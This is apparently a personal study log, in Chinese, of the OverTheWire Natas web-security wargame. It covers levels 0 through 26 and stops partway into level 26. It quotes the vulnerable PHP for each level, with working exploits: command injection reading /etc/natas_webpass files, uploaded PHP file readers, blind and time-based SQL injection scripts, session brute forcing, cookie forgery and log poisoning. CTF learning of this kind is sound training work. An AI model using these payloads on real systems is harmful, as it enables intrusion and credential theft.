| 
 前言本篇文章为OverTheWire网站Natas关卡的学习记录。 
 Level 0Username: natas0Password: natas0
 URL:http://natas0.natas.labs.overthewire.org
 提示:You can find the password for the next level on this page. <!--The password for natas1 is gtVrDuiDfck831PqWsLEZy5gyDz1clto -->
 
 Level 0 -> Level 1Username: natas1URL:http://natas1.natas.labs.overthewire.org
 提示:You can find the password for the next level on this page, but rightclicking has been blocked! <!--The password for natas2 is ZluruAthQk7Q2MqmDeTiUij2ZvWy2mBi -->
 
 Level 1 -> Level 2Username: natas2URL:http://natas2.natas.labs.overthewire.org
 提示:There is nothing on this page html源码里有一段<img src="files/pixel.png">。直接在url的路径上加上files,访问files目录,目录下存在users.txt。
 
alice:BYNdCesZqW
bob:jw2ueICLvT
charlie:G5vCxkVV3m
natas3:sJIJNW6ucpu6HPZ1ZAchaDtwd7oGrD14
eve:zo4mJWyNj2
mallory:9urtcpzBmH
 
 Level 2 -> Level 3Username: natas3URL:http://natas3.natas.labs.overthewire.org
 html源码提示:<!-- No more information leaks!! Not even Google will find it this time... -->。 提示浏览器搜索不到,应该存在robots.txt文件。url访问robot.txt,顺着提示就可以找到密码。
 natas4:Z9tkRkWmpt9Qr7XrR5jWRkgOU901swEZ
 
 Level 3 -> Level 4Username: natas4URL:http://natas4.natas.labs.overthewire.org
 提示:Access disallowed. You are visiting from “” while authorized users should come only from “http://natas5.natas.labs.overthewire.org/” 通过火狐F12,打开网络选项;选择合适的请求后,编辑并重发请求头;在请求头加上Referer: http://natas5.natas.labs.overthewire.org/,重新发送请求并查看响应。
 Access granted. The password for natas5 is iX6IOfmpN7AYOQGPwtn3fXpbaJVJcHfq
 
 Level 4 -> Level 5Username: natas5URL:http://natas5.natas.labs.overthewire.org
 提示:Access disallowed. You are not logged in 查看请求头,发现Cookie: loggedin=0;修改为Cookie: loggedin=1,发送。
 Access granted. The password for natas6 is aGoY4q2Dc6MgDq4oL4YtoKtyAg9PeHa1
 
 Level 5 -> Level 6Username: natas6URL: http://natas6.natas.labs.overthewire.org
 点击View sourcecode查看源码,发现有includes/secret.inc文件;通过F12记录访问http://natas6.natas.labs.overthewire.org/includes/secret.inc的数据包,并查看响应包原始数据。
 <?
include "includes/secret.inc";
    if(array_key_exists("submit", $_POST)) {
        if($secret == $_POST['secret']) {
        print "Access granted. The password for natas7 is <censored>";
    } else {
        print "Wrong secret";
    }
    }
?>
 <?
$secret = "FOEIUWGHFEEUHOFUOIU";
?>
 页面输入FOEIUWGHFEEUHOFUOIU,并提交可得到密码。
 Access granted. The password for natas7 is 7z3hEENjQtflzgnT29q7wAvMNfZdh0i9
 
 Level 6 -> Level 7Username: natas7URL:http://natas7.natas.labs.overthewire.org
 查看源码,提示<!-- hint: password for webuser natas8 is in /etc/natas_webpass/natas8 -->。直接访问http://natas7.natas.labs.overthewire.org/index.php?page=/etc/natas_webpass/natas8,得到密码。
 DBfUBfqQG69KvJvJ1iAbMoIpwSNQ9bWe
 
 Level 7 -> Level 8Username: natas8URL:http://natas8.natas.labs.overthewire.org
 查看源码,需要将encodedSecret的值经过逆向操作得到需要输入的值。
 <?
$encodedSecret = "3d3d516343746d4d6d6c315669563362";
function encodeSecret($secret) {
    return bin2hex(strrev(base64_encode($secret)));
}
if(array_key_exists("submit", $_POST)) {
    if(encodeSecret($_POST['secret']) == $encodedSecret) {
    print "Access granted. The password for natas9 is <censored>";
    } else {
    print "Wrong secret";
    }
}
?>
 通过PHP在线工具https://c.runoob.com/compile/1,编写解码过程。
 <?php
$encodedSecret = "3d3d516343746d4d6d6c315669563362";
function encodeSecret($secret) {
    return bin2hex(strrev(base64_encode($secret)));
}
function decodeSecret($secret) {
    return base64_decode(strrev(hex2bin($secret)));
}
echo decodeSecret($encodedSecret),"\n";
echo encodeSecret("oubWYf2kBq"),"\n";
?>
 Access granted. The password for natas9 is W0mMhUcRRnG8dcghE4qvk3JA9lGt8nDl
 
 Level 8 -> Level 9Username: natas9URL:http://natas9.natas.labs.overthewire.org
 <?
$key = "";
if(array_key_exists("needle", $_REQUEST)) {
    $key = $_REQUEST["needle"];
}
if($key != "") {
    passthru("grep -i $key dictionary.txt");
}
?>
 构造 1 dictionary.txt ; cat /etc/natas_webpass/natas10;# 输入,并查询可得到结果。
 grep -i 1 dictionary.txt ; cat  /etc/natas_webpass/natas10;
nOpp1igQAkUzaI1GUUjzn1bFVj7xCNzu
 
 Level 9 -> Level 10Username: natas10URL:http://natas10.natas.labs.overthewire.org
 <?
$key = "";
if(array_key_exists("needle", $_REQUEST)) {
    $key = $_REQUEST["needle"];
}
if($key != "") {
    if(preg_match('/[;|&]/',$key)) {
        print "Input contains an illegal character!";
    } else {
        passthru("grep -i $key dictionary.txt");
    }
}
?>
 构造 . /etc/natas_webpass/natas11 # 可绕过限制。
 grep -i . /etc/natas_webpass/natas11 
U82q5TCMMQ9xuFoI3dYX61s7OZD9JKoK
 
 Level 10 -> Level 11Username: natas11URL:http://natas11.natas.labs.overthewire.org
 提示Cookies are protected with XOR encryption。查看源码,cookie的值由defaultdata与key经过异或得到。可以通过cookie与defaultdata异或得到key。再由key与data = array( “showpassword”=>“yes”, “bgcolor”=>"#ffffff") 进行异或得到新的cookie,并发送。
 <?
$defaultdata = array( "showpassword"=>"no", "bgcolor"=>"#ffffff");
function xor_encrypt($in) {
    $key = '<censored>';
    $text = $in;
    $outText = '';
    // Iterate through each character
    for($i=0;$i<strlen($text);$i++) {
    $outText .= $text[$i] ^ $key[$i % strlen($key)];
    }
    return $outText;
}
function loadData($def) {
    global $_COOKIE;
    $mydata = $def;
    if(array_key_exists("data", $_COOKIE)) {
    $tempdata = json_decode(xor_encrypt(base64_decode($_COOKIE["data"])), true);
    if(is_array($tempdata) && array_key_exists("showpassword", $tempdata) && array_key_exists("bgcolor", $tempdata)) {
        if (preg_match('/^#(?:[a-f\d]{6})$/i', $tempdata['bgcolor'])) {
        $mydata['showpassword'] = $tempdata['showpassword'];
        $mydata['bgcolor'] = $tempdata['bgcolor'];
        }
    }
    }
    return $mydata;
}
function saveData($d) {
    setcookie("data", base64_encode(xor_encrypt(json_encode($d))));
}
$data = loadData($defaultdata);
if(array_key_exists("bgcolor",$_REQUEST)) {
    if (preg_match('/^#(?:[a-f\d]{6})$/i', $_REQUEST['bgcolor'])) {
        $data['bgcolor'] = $_REQUEST['bgcolor'];
    }
}
saveData($data);
?>
<?
if($data["showpassword"] == "yes") {
    print "The password for natas12 is <censored><br>";
}
?>
 通过PHP在线工具https://c.runoob.com/compile/1,编写解码过程。
 <?php
$COOKIE = array( "data"=>"ClVLIh4ASCsCBE8lAxMacFMZV2hdVVotEhhUJQNVAmhSEV4sFxFeaAw=");
$defaultdata = array( "showpassword"=>"no", "bgcolor"=>"#ffffff");
$yesdata = array( "showpassword"=>"yes", "bgcolor"=>"#ffffff");
function xor_encrypt($in) {
    $key = "qw8J";
    $text = $in;
    $outText = "";
    
    for($i=0;$i<strlen($text);$i++) {
    $outText .= $text[$i] ^ $key[$i % strlen($key)];
    }
    return $outText;
}
function xor_decrypt($COOKIEDATA, $defaultdata) {
    $key = '';
    $text = base64_decode($COOKIEDATA);
    $outText = json_encode($defaultdata);
    
    for($i=0;$i<strlen($text);$i++) {
    $key .= $text[$i] ^ $outText[$i % strlen($outText)];
    }
    return $key;
}
echo xor_decrypt($COOKIE["data"], $defaultdata), "\n";
echo base64_encode(xor_encrypt(json_encode($defaultdata))), "\n";
echo base64_encode(xor_encrypt(json_encode($yesdata))), "\n";
输出结果
qw8Jqw8Jqw8Jqw8Jqw8Jqw8Jqw8Jqw8Jqw8Jqw8Jq
ClVLIh4ASCsCBE8lAxMacFMZV2hdVVotEhhUJQNVAmhSEV4sFxFeaAw=
ClVLIh4ASCsCBE8lAxMacFMOXTlTWxooFhRXJh4FGnBTVF4sFxFeLFMK
?>
 The password for natas12 is EDXp0pS26wLKHZy1rDBPUZk0RKfLGIR3
 
 Level 11 -> Level 12Username: natas12URL:http://natas12.natas.labs.overthewire.org
 提示Choose a JPEG to upload (max 1KB)。查看源码,未发现对上传文件类型有过滤,直接上传php读取账号的文件,修改数据包发送的文件名。
 <? 
function genRandomString() {
    $length = 10;
    $characters = "0123456789abcdefghijklmnopqrstuvwxyz";
    $string = "";    
    for ($p = 0; $p < $length; $p++) {
        $string .= $characters[mt_rand(0, strlen($characters)-1)];
    }
    return $string;
}
function makeRandomPath($dir, $ext) {
    do {
    $path = $dir."/".genRandomString().".".$ext;
    } while(file_exists($path));
    return $path;
}
function makeRandomPathFromFilename($dir, $fn) {
    $ext = pathinfo($fn, PATHINFO_EXTENSION);
    return makeRandomPath($dir, $ext);
}
if(array_key_exists("filename", $_POST)) {
    $target_path = makeRandomPathFromFilename("upload", $_POST["filename"]);
        if(filesize($_FILES['uploadedfile']['tmp_name']) > 1000) {
        echo "File is too big";
    } else {
        if(move_uploaded_file($_FILES['uploadedfile']['tmp_name'], $target_path)) {
            echo "The file <a href=\"$target_path\">$target_path</a> has been uploaded";
        } else{
            echo "There was an error uploading the file, please try again!";
        }
    }
} else {
?> 
<form enctype="multipart/form-data" action="index.php" method="POST">
<input type="hidden" name="MAX_FILE_SIZE" value="1000" />
<input type="hidden" name="filename" value="<? print genRandomString(); ?>.jpg" />
Choose a JPEG to upload (max 1KB):<br/>
<input name="uploadedfile" type="file" /><br />
<input type="submit" value="Upload File" />
</form>
<? } ?> 
 <?php
    $myfile = fopen("/etc/natas_webpass/natas13", "r") or die("Unable to open file!");
    echo fread($myfile,filesize("/etc/natas_webpass/natas13"));
    fclose($myfile);
?>
 The file upload/pqba1l0e47.php has been uploaded
jmLTY0qiPZBbaKc9341cqPQZBJv7MQbY
 
 Level 12 -> Level 13Username: natas13URL:http://natas13.natas.labs.overthewire.org
 提示For security reasons, we now only accept image files! Choose a JPEG to upload (max 1KB)。查看源码,发现通过exif_imagetype()函数进行文件类型过滤。通过在php文件开头添加 GIF89a即可绕过限制。
 <? 
function genRandomString() {
    $length = 10;
    $characters = "0123456789abcdefghijklmnopqrstuvwxyz";
    $string = "";    
    for ($p = 0; $p < $length; $p++) {
        $string .= $characters[mt_rand(0, strlen($characters)-1)];
    }
    return $string;
}
function makeRandomPath($dir, $ext) {
    do {
    $path = $dir."/".genRandomString().".".$ext;
    } while(file_exists($path));
    return $path;
}
function makeRandomPathFromFilename($dir, $fn) {
    $ext = pathinfo($fn, PATHINFO_EXTENSION);
    return makeRandomPath($dir, $ext);
}
if(array_key_exists("filename", $_POST)) {
    $target_path = makeRandomPathFromFilename("upload", $_POST["filename"]);
    
    $err=$_FILES['uploadedfile']['error'];
    if($err){
        if($err === 2){
            echo "The uploaded file exceeds MAX_FILE_SIZE";
        } else{
            echo "Something went wrong :/";
        }
    } else if(filesize($_FILES['uploadedfile']['tmp_name']) > 1000) {
        echo "File is too big";
    } else if (! exif_imagetype($_FILES['uploadedfile']['tmp_name'])) {
        echo "File is not an image";
    } else {
        if(move_uploaded_file($_FILES['uploadedfile']['tmp_name'], $target_path)) {
            echo "The file <a href=\"$target_path\">$target_path</a> has been uploaded";
        } else{
            echo "There was an error uploading the file, please try again!";
        }
    }
} else {
?>
<form enctype="multipart/form-data" action="index.php" method="POST">
<input type="hidden" name="MAX_FILE_SIZE" value="1000" />
<input type="hidden" name="filename" value="<? print genRandomString(); ?>.jpg" />
Choose a JPEG to upload (max 1KB):<br/>
<input name="uploadedfile" type="file" /><br />
<input type="submit" value="Upload File" />
</form>
<? } ?> 
 GIF89a
<?php
    $myfile = fopen("/etc/natas_webpass/natas14", "r") or die("Unable to open file!");
    echo fread($myfile,filesize("/etc/natas_webpass/natas14"));
    fclose($myfile);
?>
 For security reasons, we now only accept image files!
The file upload/ml1dtczzbf.php has been uploaded
GIF89a Lg96M10TdfaPyVBkJdjymbllQ5L6qdl1
 
 Level 13 -> Level 14Username: natas14URL:http://natas14.natas.labs.overthewire.org
 提示输入账号密码。查看源码,发现SQL语句直接拼接输入的字符串,尝试SQL注入。
 <?
if(array_key_exists("username", $_REQUEST)) {
    $link = mysql_connect('localhost', 'natas14', '<censored>');
    mysql_select_db('natas14', $link);
    
    $query = "SELECT * from users where username=\"".$_REQUEST["username"]."\" and password=\"".$_REQUEST["password"]."\"";
    if(array_key_exists("debug", $_GET)) {
        echo "Executing query: $query<br>";
    }
    if(mysql_num_rows(mysql_query($query, $link)) > 0) {
            echo "Successful login! The password for natas15 is <censored><br>";
    } else {
            echo "Access denied!<br>";
    }
    mysql_close($link);
} else {
?>
<form action="index.php" method="POST">
Username: <input name="username"><br>
Password: <input name="password"><br>
<input type="submit" value="Login" />
</form>
<? } ?> 
 请求数据包添加 debug=1 可回显执行的SQL语句。请求主体改为 username=" or 1=1 #&password=1,发送即可获得密码。
 POST /index.php?debug=1 HTTP/1.1
Host: natas14.natas.labs.overthewire.org
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:90.0) Gecko/20100101 Firefox/90.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: http://natas14.natas.labs.overthewire.org/
Content-Type: application/x-www-form-urlencoded
Content-Length: 21
Origin: http://natas14.natas.labs.overthewire.org
Authorization: Basic bmF0YXMxNDpMZzk2TTEwVGRmYVB5VkJrSmRqeW1ibGxRNUw2cWRsMQ==
Connection: keep-alive
Upgrade-Insecure-Requests: 1
Pragma: no-cache
Cache-Control: no-cache
 Successful login! The password for natas15 is AwWj0w5cvxrZiONgZ9J5stNVkmxdk39J
 
 Level 14 -> Level 15Username: natas15URL:http://natas15.natas.labs.overthewire.org
 查看源码,发现存在SQL注入,但不会返回信息,只能通过返回的值判断是否存在对应的值。
 <?
/*
CREATE TABLE `users` (
  `username` varchar(64) DEFAULT NULL,
  `password` varchar(64) DEFAULT NULL
);
*/
if(array_key_exists("username", $_REQUEST)) {
    $link = mysql_connect('localhost', 'natas15', '<censored>');
    mysql_select_db('natas15', $link);
    
    $query = "SELECT * from users where username=\"".$_REQUEST["username"]."\"";
    if(array_key_exists("debug", $_GET)) {
        echo "Executing query: $query<br>";
    }
    $res = mysql_query($query, $link);
    if($res) {
    if(mysql_num_rows($res) > 0) {
        echo "This user exists.<br>";
    } else {
        echo "This user doesn't exist.<br>";
    }
    } else {
        echo "Error in query.<br>";
    }
    mysql_close($link);
} else {
?>
<form action="index.php" method="POST">
Username: <input name="username"><br>
<input type="submit" value="Check existence" />
</form>
<? } ?> 
 构造字符串 natas16" and 1 < ascii(mid(password, 1,1)) and "" like ",可通过返回结果比较得知每一位字符的值。通过脚本自动实现SQL盲注的比较过程。
 
import requests
url = 'http://natas15.natas.labs.overthewire.org/index.php'
username = 'natas15'
password = 'AwWj0w5cvxrZiONgZ9J5stNVkmxdk39J'
key = ""
for pos in range(1,33):
    low = 32
    high = 126
    mid = (high + low) >> 1
    while mid < high:
        
        payload = "natas16\" and %d < ascii(mid(password,%d,1)) and \"\" like \"" % (mid, pos)
        req = requests.post(url, auth=requests.auth.HTTPBasicAuth(username, password), data={"username": payload})
        
        if req.text.find("doesn't exist") == -1:
            low = mid + 1
        else:
            high = mid
        mid = (high + low) >> 1
    key += chr(mid)
    print(key)
 W
...
WaIHEacj63wnNIBROHeqi3p9t0m5nhmh
 
 Level 15 -> Level 16Username: natas16URL:http://natas16.natas.labs.overthewire.org
 查看源码,发现过滤了特殊字符。在PHP中,$()可以在引号中使用,构造内层grep的正则匹配,即passthru ( "grep-i " $(grep ^a etc/natas_webpasswd/natas17)wrong \ " dictionary.txt" );通过回显的结果,来推断密码。
 <?
$key = "";
if(array_key_exists("needle", $_REQUEST)) {
    $key = $_REQUEST["needle"];
}
if($key != "") {
    if(preg_match('/[;|&`\'"]/',$key)) {
        print "Input contains an illegal character!";
    } else {
        passthru("grep -i \"$key\" dictionary.txt");
    }
}
?>
 抓包查看数据提交方式,是 get提交,格式为?needle=xxxx&submit=Search。脚本如下。
 
import requests
url = 'http://natas16:WaIHEacj63wnNIBROHeqi3p9t0m5nhmh@natas16.natas.labs.overthewire.org'
username = 'natas16'
password = 'WaIHEacj63wnNIBROHeqi3p9t0m5nhmh'
key = ""
char = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXXYZ"
while len(key) < 32:
    for i in range(len(char)):
        payload = {'needle': '$(grep ^'+key+char[i]+' /etc/natas_webpass/natas17)wrong', 'submit':'Search'}
        
        req = requests.get(url, params=payload)
        
        if 'wrong' not in req.text:
            key += char[i]
            print(key)
            break
 8Ps3H0GWbn5rd9S7GmAdgQNdkhPkq9cw
 
 Level 16 -> Level 17Username: natas17URL:http://natas17.natas.labs.overthewire.org
 查看源码,发现跟natas15关类似,只是不回显信息。猜测username为natas18,因为没有作为判断的回显,选择时间盲注,使用if()和sleep()函数完成注入。构造的字符串如natas18" and if(1<ascii(mid(password,1,1)),sleep(2),1) and "" like "。
 <?
/*
CREATE TABLE `users` (
  `username` varchar(64) DEFAULT NULL,
  `password` varchar(64) DEFAULT NULL
);
*/
if(array_key_exists("username", $_REQUEST)) {
    $link = mysql_connect('localhost', 'natas17', '<censored>');
    mysql_select_db('natas17', $link);
    
    $query = "SELECT * from users where username=\"".$_REQUEST["username"]."\"";
    if(array_key_exists("debug", $_GET)) {
        echo "Executing query: $query<br>";
    }
    $res = mysql_query($query, $link);
    if($res) {
    if(mysql_num_rows($res) > 0) {
        //echo "This user exists.<br>";
    } else {
        //echo "This user doesn't exist.<br>";
    }
    } else {
        //echo "Error in query.<br>";
    }
    mysql_close($link);
} else {
?>
<form action="index.php" method="POST">
Username: <input name="username"><br>
<input type="submit" value="Check existence" />
</form>
<? } ?> 
 
import requests
url = 'http://natas17.natas.labs.overthewire.org/index.php'
username = 'natas17'
password = '8Ps3H0GWbn5rd9S7GmAdgQNdkhPkq9cw'
key = ""
for pos in range(1,33):
    low = 32
    high = 126
    while low < high:
        mid = (high + low) >> 1
        
        payload = "natas18\" and if(%d < ascii(mid(password,%d,1)), sleep(2), 1) and \"\" like \"" % (mid, pos)
        try:
            req = requests.post(url, auth=requests.auth.HTTPBasicAuth(username, password), data={"username": payload},
                                timeout=2)
        except requests.RequestException as e:
            low = mid + 1
            mid = (high + low) >> 1
            continue
        high = mid
        
    key += chr(mid)
    print(key)
 xvKIqDjy4OPv7wCRgDlmj0pFsCsDjhdP
 
 Level 17 -> Level 18Username: natas18URL:http://natas18.natas.labs.overthewire.org
 查看源码,以及抓包分析,发现会返回Cookie: PHPSESSID=268的字段。通过脚本在请求头添加Cookie字段,爆破实现从1-640的值,其中某个值,会返回密码的信息。
 $maxid = 640; // 640 should be enough for everyone 
function print_credentials() { /* {{{ */
    if($_SESSION and array_key_exists("admin", $_SESSION) and $_SESSION["admin"] == 1) {
    print "You are an admin. The credentials for the next level are:<br>";
    print "<pre>Username: natas19\n";
    print "Password: <censored></pre>";
    } else {
    print "You are logged in as a regular user. Login as an admin to retrieve credentials for natas19.";
    }
} 
 
import requests
url = 'http://natas18.natas.labs.overthewire.org/index.php?debug=1'
username = 'natas18'
password = 'xvKIqDjy4OPv7wCRgDlmj0pFsCsDjhdP'
cookies = {"PHPSESSID":"1"}
data_username = "123"
data_password = "123"
for i in range(1, 641):
    print(cookies)
    req = requests.post(url, auth=requests.auth.HTTPBasicAuth(username, password), cookies=cookies, data={"username": data_username, "password": data_password})
    if req.text.find("You are logged in as a regular user") == -1:
        print(req.text)
        break
    cookies["PHPSESSID"] = str(i)
 DEBUG: Session start ok<br>You are an admin. The credentials for the next level are:<br><pre>Username: natas19
Password: 4IwIrekcuZlA9OsjOkoUtwU6lhokCPYs
 
 Level 18 -> Level 19Username: natas19URL:http://natas19.natas.labs.overthewire.org
 提示源码跟上一关类似,通过输入username和password,发现是输入的信息,按照password-username的格式返回,由ascill码转化为16进制,猜测正确PHPSESSID,应该是id-admin。类似上一关,通过脚本爆破出PHPSESSID。
 
import requests
url = 'http://natas19.natas.labs.overthewire.org/index.php?debug=1'
username = 'natas19'
password = '4IwIrekcuZlA9OsjOkoUtwU6lhokCPYs'
data_username = "123"
data_password = "123"
def get_password():
    cookies = {"PHPSESSID": "3030302d61646d696e"}
    for i in range(10):
        for j in range(10):
            for k in range(10):
                print(cookies)
                req = requests.post(url, auth=requests.auth.HTTPBasicAuth(username, password), cookies=cookies, data={"username": data_username, "password": data_password})
                if req.text.find("You are logged in as a regular user") == -1:
                    print(req.text)
                    return
                cookies["PHPSESSID"] = "3"+str(i)+"3"+str(j)+"3"+str(k)+"2d61646d696e"
get_password()
 DEBUG: Session start ok<br>You are an admin. The credentials for the next level are:<br><pre>Username: natas20
Password: eofm3Wsshxc5bwtVnEuGIlr7ivb9KABF
 
 Level 19 -> Level 20Username: natas20URL:http://natas20.natas.labs.overthewire.org
 查看源码,发现会把sessionID存到了文件中,按键值对存在,以空格分隔,如果$_SESSION[“admin”]==1,则成功登陆,得到key。并且通过查询所提交的参数,也会被存到文件中,因此,可以采取注入键值对admin 1的方式来实现修改。将name参数修改为:name=111 %0Aadmin 1,得到密码。
 function print_credentials() { /* {{{ */
    if($_SESSION and array_key_exists("admin", $_SESSION) and $_SESSION["admin"] == 1) {
    print "You are an admin. The credentials for the next level are:<br>";
    print "<pre>Username: natas21\n";
    print "Password: <censored></pre>";
    } else {
    print "You are logged in as a regular user. Login as an admin to retrieve credentials for natas21.";
    }
} 
function mywrite($sid, $data) { 
    // $data contains the serialized version of $_SESSION
    // but our encoding is better
    debug("MYWRITE $sid $data"); 
    // make sure the sid is alnum only!!
    if(strspn($sid, "1234567890qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM-") != strlen($sid)) {
    debug("Invalid SID"); 
        return;
    }
    $filename = session_save_path() . "/" . "mysess_" . $sid;
    $data = "";
    debug("Saving in ". $filename);
    ksort($_SESSION);
    foreach($_SESSION as $key => $value) {
        debug("$key => $value");
        $data .= "$key $value\n";
    }
    file_put_contents($filename, $data);
    chmod($filename, 0600);
} 
 Username: natas21
Password: IFekPyrQXftziDEsUr3x21sYuahypdgJ
 
 Level 20 -> Level 21Username: natas21URL:http://natas21.natas.labs.overthewire.org
 提示http://natas21.natas.labs.overthewire.org/页面和http://natas21-experimenter.natas.labs.overthewire.org页面是共用的,那session也是共用的。查看第一个网页源码,发现主要功能就是判断 session[admin]=1后显示密码。
 function print_credentials() { /* {{{ */
    if($_SESSION and array_key_exists("admin", $_SESSION) and $_SESSION["admin"] == 1) {
    print "You are an admin. The credentials for the next level are:<br>";
    print "<pre>Username: natas22\n";
    print "Password: <censored></pre>";
    } else {
    print "You are logged in as a regular user. Login as an admin to retrieve credentials for natas22.";
    }
} 
 查看第二个网页源码,发现可以提交数据,更新session,虽然有POST参数校验,但仍可以注入admin=1。在请求主体后加入admin=1,并将第一个页面的cookie修改为第二个页面的cookie值,获取密码。
 // if update was submitted, store it
if(array_key_exists("submit", $_REQUEST)) {
    foreach($_REQUEST as $key => $val) {
    $_SESSION[$key] = $val;
    }
} 
 Username: natas22
Password: chG9fbe1Tq2eWVMgjYYD1MsfIvN461kJ
 
 Level 21 -> Level 22Username: natas22URL:http://natas22.natas.labs.overthewire.org
 查看源码,浏览器添加revelio参数,通过GET方式发送数据会导致header("Location: /");重定向。通过脚本取消重定向的方式发送数据,即可获取账号密码。
 <?
session_start();
if(array_key_exists("revelio", $_GET)) {
    // only admins can reveal the password
    if(!($_SESSION and array_key_exists("admin", $_SESSION) and $_SESSION["admin"] == 1)) {
    header("Location: /");
    }
}
?> 
<?
    if(array_key_exists("revelio", $_GET)) {
    print "You are an admin. The credentials for the next level are:<br>";
    print "<pre>Username: natas23\n";
    print "Password: <censored></pre>";
    }
?> 
 
import requests
url = 'http://natas22.natas.labs.overthewire.org/'
header = {
    'Host': 'natas22.natas.labs.overthewire.org',
    'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:90.0) Gecko/20100101 Firefox/90.0',
    'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',
    'Accept-Language': 'zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2',
    'Accept-Encoding': 'gzip, deflate',
    'Authorization': 'Basic bmF0YXMyMjpjaEc5ZmJlMVRxMmVXVk1nallZRDFNc2ZJdk40NjFrSg==',
    'Connection': 'keep-alive',
    'Cookie': 'PHPSESSID=nu97cr8gkumdg0ujdmnqf11sr3',
    'Upgrade-Insecure-Requests': '1',
    'Cache-Control': 'max-age=0, no-cache',
    'Pragma': 'no-cache',
           }
req = requests.get(url, params={'revelio':'1'}, headers=header, allow_redirects=False)
print(req.headers)
print(req.text)
 You are an admin. The credentials for the next level are:<br><pre>Username: natas23
Password: D0vlad33nQF0Hz2EP255TP5wSW9ZsRSE
 
 Level 22 -> Level 23Username: natas23URL:http://natas23.natas.labs.overthewire.org
 查看源码,发现要求提交的passwd参数中包含字符iloveyou,且要其数值大于10。php字符与数值比较时,会从开头截取数字,到字符前为止。所以构造passwd为11iloveyou即可。
 <?php
    if(array_key_exists("passwd",$_REQUEST)){
        if(strstr($_REQUEST["passwd"],"iloveyou") && ($_REQUEST["passwd"] > 10 )){
            echo "<br>The credentials for the next level are:<br>";
            echo "<pre>Username: natas24 Password: <censored></pre>";
        }
        else{
            echo "<br>Wrong!<br>";
        }
    }
    // morla / 10111
?> 
 The credentials for the next level are:
Username: natas24 Password: OsRmXFguozKpTZZ5X14zNO43379LZveg
 
 Level 23 -> Level 24Username: natas24URL:http://natas24.natas.labs.overthewire.org
 查看源码,发现通过strcmp函数进行比较。百度相关漏洞。通过GET方式发送数组参数passwd[]=admin可以绕过判断。
 <?php
    if(array_key_exists("passwd",$_REQUEST)){
        if(!strcmp($_REQUEST["passwd"],"<censored>")){
            echo "<br>The credentials for the next level are:<br>";
            echo "<pre>Username: natas25 Password: <censored></pre>";
        }
        else{
            echo "<br>Wrong!<br>";
        }
    }
    // morla / 10111
?>
 Warning: strcmp() expects parameter 1 to be string, array given in /var/www/natas/natas24/index.php on line 23
The credentials for the next level are:
Username: natas25 Password: GHF6X7YwACaYYssHVY05cFq83hRktl4c
 
 Level 24 -> Level 25Username: natas25URL:http://natas25.natas.labs.overthewire.org
 查看源码,存在对参数lang的目录路径…/ 和文件名natas_webpass的过滤。通过多个....//、..././可绕过限制。通过在HTTP_USER_AGENT头添加<?php include("/etc/natas_webpass/natas26")?>写入日志文件,可以获取账号密码。
 <?php
    // cheers and <3 to malvina
    // - morla
    function setLanguage(){
        /* language setup */
        if(array_key_exists("lang",$_REQUEST))
            if(safeinclude("language/" . $_REQUEST["lang"] ))
                return 1;
        safeinclude("language/en"); 
    }
    
    function safeinclude($filename){
        // check for directory traversal
        if(strstr($filename,"../")){
            logRequest("Directory traversal attempt! fixing request.");
            $filename=str_replace("../","",$filename);
        }
        // dont let ppl steal our passwords
        if(strstr($filename,"natas_webpass")){
            logRequest("Illegal file access detected! Aborting!");
            exit(-1);
        }
        // add more checks...
        if (file_exists($filename)) { 
            include($filename);
            return 1;
        }
        return 0;
    }
    
    function listFiles($path){
        $listoffiles=array();
        if ($handle = opendir($path))
            while (false !== ($file = readdir($handle)))
                if ($file != "." && $file != "..")
                    $listoffiles[]=$file;
        
        closedir($handle);
        return $listoffiles;
    } 
    
    function logRequest($message){
        $log="[". date("d.m.Y H::i:s",time()) ."]";
        $log=$log . " " . $_SERVER['HTTP_USER_AGENT'];
        $log=$log . " \"" . $message ."\"\n"; 
        $fd=fopen("/var/www/natas/natas25/logs/natas25_" . session_id() .".log","a");
        fwrite($fd,$log);
        fclose($fd);
    }
?>
 GET /?lang=....//....//....//....//....//var/www/natas/natas25/logs/natas25_oppu5tneplcp5do92q6rup29j5.log HTTP/1.1
Host: natas25.natas.labs.overthewire.org
User-Agent: <?php include("/etc/natas_webpass/natas26")?>
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: http://natas25.natas.labs.overthewire.org/
Authorization: Basic bmF0YXMyNTpHSEY2WDdZd0FDYVlZc3NIVlkwNWNGcTgzaFJrdGw0Yw==
Connection: keep-alive
Cookie: PHPSESSID=oppu5tneplcp5do92q6rup29j5
Upgrade-Insecure-Requests: 1
Pragma: no-cache
Cache-Control: no-cache
 oGgWAJ7zcGT28vYazGo4rkhOPDhBu34T "Directory traversal attempt! fixing request." 
 
 Level 25 -> Level 26Username: natas26URL:http://natas26.natas.labs.overthewire.org
 查看源码,发现存在反序列化函数unserialize(),且可以通过cookie来控制unserialize()的变量,猜测存在php反序列化漏洞。在类销毁时调用的 __destruct()魔术方法,可以向任意文件写入信息。
     class Logger{
        private $logFile;
        private $initMsg;
        private $exitMsg;
      
        function __construct($file){
            // initialise variables
            $this->initMsg="#--session started--#\n";
            $this->exitMsg="#--session end--#\n";
            $this->logFile = "/tmp/natas26_" . $file . ".log";
      
            // write initial message
            $fd=fopen($this->logFile,"a+");
            fwrite($fd,$initMsg);
            fclose($fd);
        }                       
      
        function log($msg){
            $fd=fopen($this->logFile,"a+");
            fwrite($fd,$msg."\n");
            fclose($fd);
        }                       
      
        function __destruct(){
            // write exit message
            $fd=fopen($this->logFile,"a+");
            fwrite($fd,$this->exitMsg);
            fclose($fd);
        }                       
    }
    
function storeData(){
        $new_object=array();
        if(array_key_exists("x1", $_GET) && array_key_exists("y1", $_GET) &&
